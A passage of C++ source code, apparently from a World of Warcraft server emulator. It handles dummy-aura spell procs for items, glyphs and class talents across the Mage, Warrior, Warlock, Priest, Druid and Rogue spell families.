Unit *owner = GetOwner();
if (!owner || owner->GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Glyph of Shadowfiend (need cast as self cast for owner, no hidden cooldown)
owner->CastSpell(owner,58227,true,castItem,triggeredByAura);
return SPELL_AURA_PROC_OK;
}
// Kill Command, pet aura
case 58914:
{
// also decrease owner buff stack
if (Unit* owner = GetOwner())
owner->RemoveAuraHolderFromStack(34027);
// Remove only single aura from stack
if (triggeredByAura->GetStackAmount() > 1 && !triggeredByAura->GetHolder()->ModStackAmount(-1))
return SPELL_AURA_PROC_CANT_TRIGGER;
}
// Glyph of Life Tap
case 63320:
triggered_spell_id = 63321;
break;
// Shiny Shard of the Scale - Equip Effect
case 69739:
// Cauterizing Heal or Searing Flame
triggered_spell_id = (procFlag & PROC_FLAG_SUCCESSFUL_POSITIVE_SPELL) ? 69734 : 69730;
break;
// Purified Shard of the Scale - Equip Effect
case 69755:
// Cauterizing Heal or Searing Flame
triggered_spell_id = (procFlag & PROC_FLAG_SUCCESSFUL_POSITIVE_SPELL) ? 69733 : 69729;
break;
case 70871:
// Soul of Blood qween
triggered_spell_id = 70872;
basepoints[0] = int32(triggerAmount* damage /100);
if (basepoints[0] < 0)
return SPELL_AURA_PROC_FAILED;
break;
// Glyph of Shadowflame
case 63310:
{
triggered_spell_id = 63311;
break;
}
// Item - Shadowmourne Legendary
case 71903:
{
if (!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 71905; // Soul Fragment
SpellAuraHolder *aurHolder = GetSpellAuraHolder(triggered_spell_id);
// will added first to stack
if (!aurHolder)
CastSpell(this, 72521, true); // Shadowmourne Visual Low
// half stack
else if (aurHolder->GetStackAmount() + 1 == 6)
CastSpell(this, 72523, true); // Shadowmourne Visual High
// full stack
else if (aurHolder->GetStackAmount() + 1 >= aurHolder->GetSpellProto()->StackAmount)
{
RemoveAurasDueToSpell(triggered_spell_id);
CastSpell(this, 71904, true); // Chaos Bane
return SPELL_AURA_PROC_OK;
}
break;
}
// Deathbringer's Will (Item - Icecrown 25 Normal Melee Trinket)
//=====================================================
// 71492 Speed of the Vrykul: +600 haste rating (Death Knight, Druid, Paladin, Rogue, Warrior, Shaman)
// 71485 Agility of the Vrykul: +600 agility (Druid, Hunter, Rogue, Shaman)
// 71486 Power of the Taunka: +1200 attack power (Hunter, Rogue, Shaman)
// 71484 Strength of the Taunka: +600 strength (Death Knight, Druid, Paladin, Warrior)
// 71491 Aim of the Iron Dwarves: +600 critical strike rating (Death Knight, Hunter, Paladin, Warrior)
case 71519:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
if(HasAura(71491) || HasAura(71484) || HasAura(71492) || HasAura(71486) || HasAura(71485))
return SPELL_AURA_PROC_FAILED;
// Select class defined buff
switch (getClass())
{
case CLASS_PALADIN:
{
uint32 RandomSpell[]={71492,71484,71491};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_DRUID:
{
uint32 RandomSpell[]={71492,71485,71484};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_ROGUE:
{
uint32 RandomSpell[]={71492,71485,71486};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_WARRIOR:
{
uint32 RandomSpell[]={71492,71484,71491};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_SHAMAN:
{
uint32 RandomSpell[]={71485,71486,71492};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_HUNTER:
{
uint32 RandomSpell[]={71485,71486,71491};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_DEATH_KNIGHT:
{
uint32 RandomSpell[]={71484,71492,71491};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Deathbringer's Will (Item - Icecrown 25 Heroic Melee Trinket)
//=====================================================
// 71560 Speed of the Vrykul: +700 haste rating (Death Knight, Druid, Paladin, Rogue, Warrior, Shaman)
// 71556 Agility of the Vrykul: +700 agility (Druid, Hunter, Rogue, Shaman)
// 71558 Power of the Taunka: +1400 attack power (Hunter, Rogue, Shaman)
// 71561 Strength of the Taunka: +700 strength (Death Knight, Druid, Paladin, Warrior)
// 71559 Aim of the Iron Dwarves: +700 critical strike rating (Death Knight, Hunter, Paladin, Warrior)
case 71562:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
if(HasAura(71559) || HasAura(71561) || HasAura(71560) || HasAura(71556) || HasAura(71558))
return SPELL_AURA_PROC_FAILED;
// Select class defined buff
switch (getClass())
{
case CLASS_PALADIN:
{
uint32 RandomSpell[]={71560,71561,71559};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_DRUID:
{
uint32 RandomSpell[]={71560,71556,71561};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_ROGUE:
{
uint32 RandomSpell[]={71560,71556,71558,};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_WARRIOR:
{
uint32 RandomSpell[]={71560,71561,71559,};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_SHAMAN:
{
uint32 RandomSpell[]={71556,71558,71560};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_HUNTER:
{
uint32 RandomSpell[]={71556,71558,71559};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_DEATH_KNIGHT:
{
uint32 RandomSpell[]={71561,71560,71559};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Necrotic Touch item 50692
case 71875:
case 71877:
{
basepoints[0] = damage * triggerAmount / 100;
target = pVictim;
triggered_spell_id = 71879;
break;
}
}
break;
}
case SPELLFAMILY_MAGE:
{
// Magic Absorption
if (dummySpell->SpellIconID == 459) // only this spell have SpellIconID == 459 and dummy aura
{
if (getPowerType() != POWER_MANA)
return SPELL_AURA_PROC_FAILED;
// mana reward
basepoints[0] = (triggerAmount * GetMaxPower(POWER_MANA) / 100);
target = this;
triggered_spell_id = 29442;
break;
}
// Master of Elements
if (dummySpell->SpellIconID == 1920)
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
// mana cost save
int32 cost = procSpell->manaCost + procSpell->ManaCostPercentage * GetCreateMana() / 100;
basepoints[0] = cost * triggerAmount/100;
if (basepoints[0] <=0)
return SPELL_AURA_PROC_FAILED;
target = this;
triggered_spell_id = 29077;
break;
}
// Arcane Potency
if (dummySpell->SpellIconID == 2120)
{
if(!procSpell || procSpell->Id == 44401)
return SPELL_AURA_PROC_FAILED;
target = this;
switch (dummySpell->Id)
{
case 31571: triggered_spell_id = 57529; break;
case 31572: triggered_spell_id = 57531; break;
default:
sLog.outError("Unit::HandleDummyAuraProc: non handled spell id: %u",dummySpell->Id);
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Hot Streak
if (dummySpell->SpellIconID == 2999)
{
if (effIndex != EFFECT_INDEX_0)
return SPELL_AURA_PROC_OK;
Aura *counter = GetAura(triggeredByAura->GetId(), EFFECT_INDEX_1);
if (!counter)
return SPELL_AURA_PROC_OK;
// Count spell criticals in a row in second aura
Modifier *mod = counter->GetModifier();
if (procEx & PROC_EX_CRITICAL_HIT)
{
mod->m_amount *=2;
if (mod->m_amount < 100) // not enough
return SPELL_AURA_PROC_OK;
// Critical counted -> roll chance
if (roll_chance_i(triggerAmount))
CastSpell(this, 48108, true, castItem, triggeredByAura);
}
mod->m_amount = 25;
return SPELL_AURA_PROC_OK;
}
// Burnout
if (dummySpell->SpellIconID == 2998)
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
int32 cost = procSpell->manaCost + procSpell->ManaCostPercentage * GetCreateMana() / 100;
basepoints[0] = cost * triggerAmount/100;
if (basepoints[0] <=0)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 44450;
target = this;
break;
}
// Incanter's Regalia set (add trigger chance to Mana Shield)
if (dummySpell->SpellFamilyFlags & UI64LIT(0x0000000000008000))
{
if (GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
target = this;
triggered_spell_id = 37436;
break;
}
switch(dummySpell->Id)
{
// Ignite
case 11119:
case 11120:
case 12846:
case 12847:
case 12848:
{
switch (dummySpell->Id)
{
case 11119: basepoints[0] = int32(0.04f*damage); break;
case 11120: basepoints[0] = int32(0.08f*damage); break;
case 12846: basepoints[0] = int32(0.12f*damage); break;
case 12847: basepoints[0] = int32(0.16f*damage); break;
case 12848: basepoints[0] = int32(0.20f*damage); break;
default:
sLog.outError("Unit::HandleDummyAuraProc: non handled spell id: %u (IG)",dummySpell->Id);
return SPELL_AURA_PROC_FAILED;
}
triggered_spell_id = 12654;
break;
}
// Empowered Fire (mana regen)
case 12654:
{
Unit* caster = triggeredByAura->GetCaster();
// it should not be triggered from other ignites
if (caster && pVictim && caster->GetGUID() == pVictim->GetGUID())
{
Unit::AuraList const& auras = caster->GetAurasByType(SPELL_AURA_ADD_FLAT_MODIFIER);
for (Unit::AuraList::const_iterator i = auras.begin(); i != auras.end(); i++)
{
switch((*i)->GetId())
{
case 31656:
case 31657:
case 31658:
{
if(roll_chance_i(int32((*i)->GetSpellProto()->procChance)))
{
caster->CastSpell(caster, 67545, true);
return SPELL_AURA_PROC_OK;
}
else
return SPELL_AURA_PROC_FAILED;
}
}
}
}
return SPELL_AURA_PROC_FAILED;
}
// Arcane Blast proc-off only from arcane school and not from self
case 36032:
{
if(procSpell->EffectTriggerSpell[1] == 36032 || GetSpellSchoolMask(procSpell) != SPELL_SCHOOL_MASK_ARCANE)
return SPELL_AURA_PROC_FAILED;
}
// Glyph of Ice Block
case 56372:
{
if (GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// not 100% safe with client version switches but for 3.1.3 no spells with cooldown that can have mage player except Frost Nova.
((Player*)this)->RemoveSpellCategoryCooldown(35, true);
return SPELL_AURA_PROC_OK;
}
// Glyph of Icy Veins
case 56374:
{
Unit::AuraList const& hasteAuras = GetAurasByType(SPELL_AURA_MOD_CASTING_SPEED_NOT_STACK);
for(Unit::AuraList::const_iterator i = hasteAuras.begin(); i != hasteAuras.end();)
{
if (!IsPositiveSpell((*i)->GetId()))
{
RemoveAurasDueToSpell((*i)->GetId());
i = hasteAuras.begin();
}
else
++i;
}
RemoveSpellsCausingAura(SPELL_AURA_HASTE_SPELLS);
RemoveSpellsCausingAura(SPELL_AURA_MOD_DECREASE_SPEED);
return SPELL_AURA_PROC_OK;
}
// Glyph of Polymorph
case 56375:
{
if (!pVictim || !pVictim->isAlive())
return SPELL_AURA_PROC_FAILED;
pVictim->RemoveSpellsCausingAura(SPELL_AURA_PERIODIC_DAMAGE);
pVictim->RemoveSpellsCausingAura(SPELL_AURA_PERIODIC_DAMAGE_PERCENT);
pVictim->RemoveSpellsCausingAura(SPELL_AURA_PERIODIC_LEECH);
return SPELL_AURA_PROC_OK;
}
// Blessing of Ancient Kings
case 64411:
{
// for DOT procs
if (!IsPositiveSpell(procSpell->Id))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 64413;
basepoints[0] = damage * 15 / 100;
break;
}
}
break;
}
case SPELLFAMILY_WARRIOR:
{
// Retaliation
if (dummySpell->SpellFamilyFlags == UI64LIT(0x0000000800000000))
{
// check attack comes not from behind
if (!HasInArc(M_PI_F, pVictim))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 22858;
break;
}
// Second Wind
if (dummySpell->SpellIconID == 1697)
{
// only for spells and hit/crit (trigger start always) and not start from self casted spells (5530 Mace Stun Effect for example)
if (procSpell == 0 || !(procEx & (PROC_EX_NORMAL_HIT|PROC_EX_CRITICAL_HIT)) || this == pVictim)
return SPELL_AURA_PROC_FAILED;
// Need stun or root mechanic
if (!(GetAllSpellMechanicMask(procSpell) & IMMUNE_TO_ROOT_AND_STUN_MASK))
return SPELL_AURA_PROC_FAILED;
switch (dummySpell->Id)
{
case 29838: triggered_spell_id=29842; break;
case 29834: triggered_spell_id=29841; break;
case 42770: triggered_spell_id=42771; break;
default:
sLog.outError("Unit::HandleDummyAuraProc: non handled spell id: %u (SW)",dummySpell->Id);
return SPELL_AURA_PROC_FAILED;
}
target = this;
break;
}
// Damage Shield
if (dummySpell->SpellIconID == 3214)
{
triggered_spell_id = 59653;
basepoints[0] = GetShieldBlockValue() * triggerAmount / 100;
break;
}
// Sweeping Strikes
if (dummySpell->Id == 12328)
{
// prevent chain of triggered spell from same triggered spell
if(procSpell && procSpell->Id == 26654)
return SPELL_AURA_PROC_FAILED;
target = SelectRandomUnfriendlyTarget(pVictim);
if(!target)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 26654;
break;
}
// Glyph of Sunder Armor
if (dummySpell->Id == 58387)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
target = SelectRandomUnfriendlyTarget(pVictim);
if (!target)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 58567;
break;
}
break;
}
case SPELLFAMILY_WARLOCK:
{
// Seed of Corruption
if (dummySpell->SpellFamilyFlags & UI64LIT(0x0000001000000000))
{
Modifier* mod = triggeredByAura->GetModifier();
// if damage is more than need or target die from damage deal finish spell
if( mod->m_amount <= (int32)damage || GetHealth() <= damage )
{
// remember guid before aura delete
ObjectGuid casterGuid = triggeredByAura->GetCasterGuid();
// Remove aura (before cast for prevent infinite loop handlers)
RemoveAurasDueToSpell(triggeredByAura->GetId());
// Cast finish spell (triggeredByAura already not exist!)
CastSpell(this, 27285, true, castItem, NULL, casterGuid);
return SPELL_AURA_PROC_OK; // no hidden cooldown
}
// Damage counting
mod->m_amount-=damage;
return SPELL_AURA_PROC_OK;
}
// Seed of Corruption (Mobs cast) - no die req
if (dummySpell->SpellFamilyFlags == UI64LIT(0x0) && dummySpell->SpellIconID == 1932)
{
Modifier* mod = triggeredByAura->GetModifier();
// if damage is more than need deal finish spell
if( mod->m_amount <= (int32)damage )
{
// remember guid before aura delete
ObjectGuid casterGuid = triggeredByAura->GetCasterGuid();
// Remove aura (before cast for prevent infinite loop handlers)
RemoveAurasDueToSpell(triggeredByAura->GetId());
// Cast finish spell (triggeredByAura already not exist!)
CastSpell(this, 32865, true, castItem, NULL, casterGuid);
return SPELL_AURA_PROC_OK; // no hidden cooldown
}
// Damage counting
mod->m_amount-=damage;
return SPELL_AURA_PROC_OK;
}
// Fel Synergy
if (dummySpell->SpellIconID == 3222)
{
target = GetPet();
if (!target)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = damage * triggerAmount / 100;
triggered_spell_id = 54181;
break;
}
switch(dummySpell->Id)
{
// Nightfall & Glyph of Corruption
case 18094:
case 18095:
case 56218:
{
target = this;
triggered_spell_id = 17941;
break;
}
//Soul Leech
case 30293:
case 30295:
case 30296:
{
// health
basepoints[0] = int32(damage*triggerAmount/100);
target = this;
triggered_spell_id = 30294;
// check for Improved Soul Leech
AuraList const& pDummyAuras = GetAurasByType(SPELL_AURA_DUMMY);
for (AuraList::const_iterator itr = pDummyAuras.begin(); itr != pDummyAuras.end(); ++itr)
{
SpellEntry const* spellInfo = (*itr)->GetSpellProto();
if (spellInfo->SpellFamilyName != SPELLFAMILY_WARLOCK || (*itr)->GetSpellProto()->SpellIconID != 3176)
continue;
if ((*itr)->GetEffIndex() == SpellEffectIndex(0))
{
// energize Proc pet (implicit target is pet)
CastCustomSpell(this, 59118, &((*itr)->GetModifier()->m_amount), NULL, NULL, true, NULL, (*itr));
// energize Proc master
CastCustomSpell(this, 59117, &((*itr)->GetModifier()->m_amount), NULL, NULL, true, NULL, (*itr));
}
else if (roll_chance_i((*itr)->GetModifier()->m_amount))
{
// Replenishment proc
CastSpell(this, 57669, true, NULL, (*itr));
}
}
break;
}
// Shadowflame (Voidheart Raiment set bonus)
case 37377:
{
triggered_spell_id = 37379;
break;
}
// Pet Healing (Corruptor Raiment or Rift Stalker Armor)
case 37381:
{
target = GetPet();
if (!target)
return SPELL_AURA_PROC_FAILED;
// heal amount
basepoints[0] = damage * triggerAmount/100;
triggered_spell_id = 37382;
break;
}
// Shadowflame Hellfire (Voidheart Raiment set bonus)
case 39437:
{
triggered_spell_id = 37378;
break;
}
// Siphon Life
case 63108:
{
// Glyph of Siphon Life
if (Aura *aur = GetAura(56216, EFFECT_INDEX_0))
triggerAmount += triggerAmount * aur->GetModifier()->m_amount / 100;
basepoints[0] = int32(damage * triggerAmount / 100);
triggered_spell_id = 63106;
break;
}
}
break;
}
case SPELLFAMILY_PRIEST:
{
// Vampiric Touch
if (dummySpell->SpellFamilyFlags & UI64LIT(0x0000040000000000))
{
if (!pVictim || !pVictim->isAlive())
return SPELL_AURA_PROC_FAILED;
// pVictim is caster of aura
if (triggeredByAura->GetCasterGuid() != pVictim->GetObjectGuid())
return SPELL_AURA_PROC_FAILED;
// Energize 0.25% of max. mana
pVictim->CastSpell(pVictim, 57669, true, castItem, triggeredByAura);
return SPELL_AURA_PROC_OK; // no hidden cooldown
}
switch(dummySpell->SpellIconID)
{
// Improved Shadowform
case 217:
{
if(!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
RemoveSpellsCausingAura(SPELL_AURA_MOD_ROOT);
RemoveSpellsCausingAura(SPELL_AURA_MOD_DECREASE_SPEED);
break;
}
// Divine Aegis
case 2820:
{
if(!pVictim || !pVictim->isAlive())
return SPELL_AURA_PROC_FAILED;
// find Divine Aegis on the target and get absorb amount
Aura* DivineAegis = pVictim->GetAura(47753,EFFECT_INDEX_0);
if (DivineAegis)
basepoints[0] = DivineAegis->GetModifier()->m_amount;
basepoints[0] += damage * triggerAmount/100;
// limit absorb amount
int32 levelbonus = pVictim->getLevel()*125;
if (basepoints[0] > levelbonus)
basepoints[0] = levelbonus;
triggered_spell_id = 47753;
break;
}
// Empowered Renew
case 3021:
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
// Renew
Aura* healingAura = pVictim->GetAura(SPELL_AURA_PERIODIC_HEAL, SPELLFAMILY_PRIEST, UI64LIT(0x40), 0, GetGUID());
if (!healingAura)
return SPELL_AURA_PROC_FAILED;
int32 healingfromticks = healingAura->GetModifier()->m_amount * GetSpellAuraMaxTicks(procSpell);
basepoints[0] = healingfromticks * triggerAmount / 100;
triggered_spell_id = 63544;
break;
}
// Improved Devouring Plague
case 3790:
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
Aura* leachAura = pVictim->GetAura(SPELL_AURA_PERIODIC_LEECH, SPELLFAMILY_PRIEST, UI64LIT(0x02000000), 0, GetGUID());
if (!leachAura)
return SPELL_AURA_PROC_FAILED;
int32 damagefromticks = leachAura->GetModifier()->m_amount * GetSpellAuraMaxTicks(procSpell);
basepoints[0] = damagefromticks * triggerAmount / 100;
triggered_spell_id = 63675;
break;
}
}
switch(dummySpell->Id)
{
// Vampiric Embrace
case 15286:
{
// Return if self damage
if (this == pVictim)
return SPELL_AURA_PROC_FAILED;
// Heal amount - Self/Team
int32 team = triggerAmount*damage/500;
int32 self = triggerAmount*damage/100 - team;
CastCustomSpell(this,15290,&team,&self,NULL,true,castItem,triggeredByAura);
return SPELL_AURA_PROC_OK; // no hidden cooldown
}
// Priest Tier 6 Trinket (Ashtongue Talisman of Acumen)
case 40438:
{
// Shadow Word: Pain
if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000008000))
triggered_spell_id = 40441;
// Renew
else if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000010))
triggered_spell_id = 40440;
else
return SPELL_AURA_PROC_FAILED;
target = this;
break;
}
// Oracle Healing Bonus ("Garments of the Oracle" set)
case 26169:
{
// heal amount
basepoints[0] = int32(damage * 10/100);
target = this;
triggered_spell_id = 26170;
break;
}
// Frozen Shadoweave (Shadow's Embrace set) warning! its not only priest set
case 39372:
{
if(!procSpell || (GetSpellSchoolMask(procSpell) & (SPELL_SCHOOL_MASK_FROST | SPELL_SCHOOL_MASK_SHADOW))==0 )
return SPELL_AURA_PROC_FAILED;
// heal amount
basepoints[0] = damage * triggerAmount/100;
target = this;
triggered_spell_id = 39373;
break;
}
// Greater Heal (Vestments of Faith (Priest Tier 3) - 4 pieces bonus)
case 28809:
{
triggered_spell_id = 28810;
break;
}
// Glyph of Dispel Magic
case 55677:
{
if(!target->IsFriendlyTo(this))
return SPELL_AURA_PROC_FAILED;
if (target->GetTypeId() == TYPEID_PLAYER)
basepoints[0] = int32(target->GetMaxHealth() * triggerAmount / 100);
else if (Unit* caster = triggeredByAura->GetCaster())
basepoints[0] = int32(caster->GetMaxHealth() * triggerAmount / 100);
// triggered_spell_id in spell data
break;
}
// Item - Priest T10 Healer 4P Bonus
case 70799:
{
if (GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Circle of Healing
((Player*)this)->RemoveSpellCategoryCooldown(1204, true);
// Penance
((Player*)this)->RemoveSpellCategoryCooldown(1230, true);
return SPELL_AURA_PROC_OK;
}
// Glyph of Prayer of Healing
case 55680:
{
basepoints[0] = int32(damage * triggerAmount / 200); // 10% each tick
triggered_spell_id = 56161;
break;
}
}
break;
}
case SPELLFAMILY_DRUID:
{
switch(dummySpell->Id)
{
// Leader of the Pack
case 24932:
{
// dummy m_amount store health percent (!=0 if Improved Leader of the Pack applied)
int32 heal_percent = triggeredByAura->GetModifier()->m_amount;
if (!heal_percent)
return SPELL_AURA_PROC_FAILED;
// check explicitly only to prevent mana cast when halth cast cooldown
if (cooldown && ((Player*)this)->HasSpellCooldown(34299))
return SPELL_AURA_PROC_FAILED;
// health
triggered_spell_id = 34299;
basepoints[0] = GetMaxHealth() * heal_percent / 100;
target = this;
// mana to caster
if (triggeredByAura->GetCasterGuid() == GetObjectGuid())
{
if (SpellEntry const* manaCastEntry = sSpellStore.LookupEntry(60889))
{
int32 mana_percent = manaCastEntry->CalculateSimpleValue(EFFECT_INDEX_0) * heal_percent;
CastCustomSpell(this, manaCastEntry, &mana_percent, NULL, NULL, true, castItem, triggeredByAura);
}
}
break;
}
// Healing Touch (Dreamwalker Raiment set)
case 28719:
{
// mana back
basepoints[0] = int32(procSpell->manaCost * 30 / 100);
target = this;
triggered_spell_id = 28742;
break;
}
// Healing Touch Refund (Idol of Longevity trinket)
case 28847:
{
target = this;
triggered_spell_id = 28848;
break;
}
// Mana Restore (Malorne Raiment set / Malorne Regalia set)
case 37288:
case 37295:
{
target = this;
triggered_spell_id = 37238;
break;
}
// Druid Tier 6 Trinket
case 40442:
{
float chance;
// Starfire
if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000004))
{
triggered_spell_id = 40445;
chance = 25.0f;
}
// Rejuvenation
else if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000010))
{
triggered_spell_id = 40446;
chance = 25.0f;
}
// Mangle (Bear) and Mangle (Cat)
else if (procSpell->SpellFamilyFlags & UI64LIT(0x0000044000000000))
{
triggered_spell_id = 40452;
chance = 40.0f;
}
else
return SPELL_AURA_PROC_FAILED;
if (!roll_chance_f(chance))
return SPELL_AURA_PROC_FAILED;
target = this;
break;
}
// Maim Interrupt
case 44835:
{
// Deadly Interrupt Effect
triggered_spell_id = 32747;
break;
}
// Glyph of Starfire
case 54845:
{
triggered_spell_id = 54846;
break;
}
// Glyph of Shred
case 54815:
{
triggered_spell_id = 63974;
break;
}
// Glyph of Rejuvenation
case 54754:
{
// less 50% health
if (pVictim->GetMaxHealth() < 2 * pVictim->GetHealth())
return SPELL_AURA_PROC_FAILED;
basepoints[0] = triggerAmount * damage / 100;
triggered_spell_id = 54755;
break;
}
// Glyph of Rake
case 54821:
{
triggered_spell_id = 54820;
break;
}
// Item - Druid T10 Restoration 4P Bonus (Rejuvenation)
case 70664:
{
if (!procSpell || GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
float radius;
if (procSpell->EffectRadiusIndex[EFFECT_INDEX_0])
radius = GetSpellRadius(sSpellRadiusStore.LookupEntry(procSpell->EffectRadiusIndex[EFFECT_INDEX_0]));
else
radius = GetSpellMaxRange(sSpellRangeStore.LookupEntry(procSpell->rangeIndex));
((Player*)this)->ApplySpellMod(procSpell->Id, SPELLMOD_RADIUS, radius,NULL);
Unit *second = pVictim->SelectRandomFriendlyTarget(pVictim, radius);
if (!second)
return SPELL_AURA_PROC_FAILED;
pVictim->CastSpell(second, procSpell, true, NULL, triggeredByAura, GetGUID());
return SPELL_AURA_PROC_OK;
}
// Item - Druid T10 Balance 4P Bonus
case 70723:
{
basepoints[0] = int32( triggerAmount * damage / 100 );
basepoints[0] = int32( basepoints[0] / 2);
triggered_spell_id = 71023;
break;
}
}
// King of the Jungle
if (dummySpell->SpellIconID == 2850)
{
switch (effIndex)
{
case EFFECT_INDEX_0: // Enrage (bear)
{
// note : aura removal is done in SpellAuraHolder::HandleSpellSpecificBoosts
basepoints[0] = triggerAmount;
triggered_spell_id = 51185;
break;
}
case EFFECT_INDEX_1: // Tiger's Fury (cat)
{
basepoints[0] = triggerAmount;
triggered_spell_id = 51178;
break;
}
default:
return SPELL_AURA_PROC_FAILED;
}
}
// Eclipse
else if (dummySpell->SpellIconID == 2856)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
// Wrath crit
if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000001))
{
if (HasAura(48517))
return SPELL_AURA_PROC_FAILED;
if (!roll_chance_i(60))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 48518;
target = this;
break;
}
// Starfire crit
if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000004))
{
if (HasAura(48518))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 48517;
target = this;
break;
}
return SPELL_AURA_PROC_FAILED;
}
// Living Seed
else if (dummySpell->SpellIconID == 2860)
{
triggered_spell_id = 48504;
basepoints[0] = triggerAmount * damage / 100;
break;
}
break;
}
case SPELLFAMILY_ROGUE:
{
switch(dummySpell->Id)
{
// Clean Escape
case 23582:
// triggered spell have same masks and etc with main Vanish spell
if (!procSpell || procSpell->Effect[EFFECT_INDEX_0] == SPELL_EFFECT_NONE)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 23583;
break;
// Deadly Throw Interrupt
case 32748:
{
// Prevent cast Deadly Throw Interrupt on self from last effect (apply dummy) of Deadly Throw
if (this == pVictim)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 32747;
break;
}
// Glyph of Backstab
case 56800:
{
if (Aura* aura = target->GetAura(SPELL_AURA_PERIODIC_DAMAGE, SPELLFAMILY_ROGUE, UI64LIT(0x00100000), 0, GetGUID()))
{
uint32 countMin = aura->GetAuraMaxDuration();
uint32 countMax = GetSpellMaxDuration(aura->GetSpellProto());
countMax += 3 * triggerAmount * 1000;
countMax += HasAura(56801) ? 4000 : 0;
if (countMin < countMax)
{
aura->SetAuraDuration(aura->GetAuraDuration() + triggerAmount * 1000);
aura->SetAuraMaxDuration(countMin + triggerAmount * 1000);
aura->GetHolder()->SendAuraUpdate(false);
return SPELL_AURA_PROC_OK;
}
}
return SPELL_AURA_PROC_FAILED;
}
// Tricks of the trade
case 57934:
{
triggered_spell_id = 57933; // Tricks of the Trade, increased damage buff
target = getHostileRefManager().GetThreatRedirectionTarget();
if (!target)
return SPELL_AURA_PROC_FAILED;
CastSpell(this, 59628, true); // Tricks of the Trade (caster timer)
break;
}
}
// Cut to the Chase
if (dummySpell->SpellIconID == 2909)
{
// "refresh your Slice and Dice duration to its 5 combo point maximum"
// lookup Slice and Dice
AuraList const& sd = GetAurasByType(SPELL_AURA_MOD_MELEE_HASTE);
for(AuraList::const_iterator itr = sd.begin(); itr != sd.end(); ++itr)
{
SpellEntry const *spellProto = (*itr)->GetSpellProto();
if (spellProto->SpellFamilyName == SPELLFAMILY_ROGUE &&
(spellProto->SpellFamilyFlags & UI64LIT(0x0000000000040000)))
{
int32 duration = GetSpellMaxDuration(spellProto);
if(GetTypeId() == TYPEID_PLAYER)
static_cast<Player*>(this)->ApplySpellMod(spellProto->Id, SPELLMOD_DURATION, duration);
(*itr)->SetAuraMaxDuration(duration);
(*itr)->GetHolder()->RefreshHolder();
return SPELL_AURA_PROC_OK;
}
}
return SPELL_AURA_PROC_FAILED;
}
// Deadly Brew
if (dummySpell->SpellIconID == 2963)
{
triggered_spell_id = 44289;
break;
}
// Quick Recovery
if (dummySpell->SpellIconID == 2116)
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
//do not proc from spells that do not need combo points
if(!NeedsComboPoints(procSpell))
return SPELL_AURA_PROC_FAILED;
// energy cost save
basepoints[0] = procSpell->manaCost * triggerAmount/100;
if (basepoints[0] <= 0)
return SPELL_AURA_PROC_FAILED;
target = this;
triggered_spell_id = 31663;
break;
}
break;
}
case SPELLFAMILY_HUNTER:
{
// Thrill of the Hunt
if (dummySpell->SpellIconID == 2236)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
